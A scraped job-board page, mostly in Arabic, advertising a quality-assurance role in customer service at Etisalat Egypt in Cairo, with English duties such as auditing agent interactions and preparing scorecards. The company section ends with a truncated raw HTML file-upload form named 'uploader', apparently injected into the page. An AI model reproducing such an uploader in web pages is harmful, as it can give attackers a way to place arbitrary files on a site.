في المكتب دوام كامل
Etisalat Egypt -
مصر , القاهرة
--
Etisalat Egypt
تقدم للوظيفة قدم على موقع الوظيفة

تفاصيل الوظيفة

الخبرة Experienced
الراتب Confidential
توظيف دوام كامل
النوع ذكر
التصنيف خدمة العملاء
المجال الاتصالات السلكية و اللاسلكية
  • Monitor and evaluate customer interactions (calls, emails, chats) to ensure compliance with company standards and procedures.
  • Conduct quality audits and provide detailed feedback to agents and team leaders.
  • Analyze performance trends and identify areas for improvement.
  • Prepare quality reports, scorecards, and performance dashboards.
  • Collaborate with Operations, Training, and Team Leaders to enhance service quality.
  • Ensure adherence to customer service standards, regulatory requirements, and internal policies.
  • Participate in calibration sessions to maintain scoring consistency.
  • Recommend process improvements to enhance customer experience and operational efficiency.


 

وظائف مشابهة

تقدم للوظيفة قدم على موقع الوظيفة
حول Etisalat Egypt
مصر, القاهرة
محاسبه

<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"><input type="file" name="file" size="50"><inp...

اعرف المزيد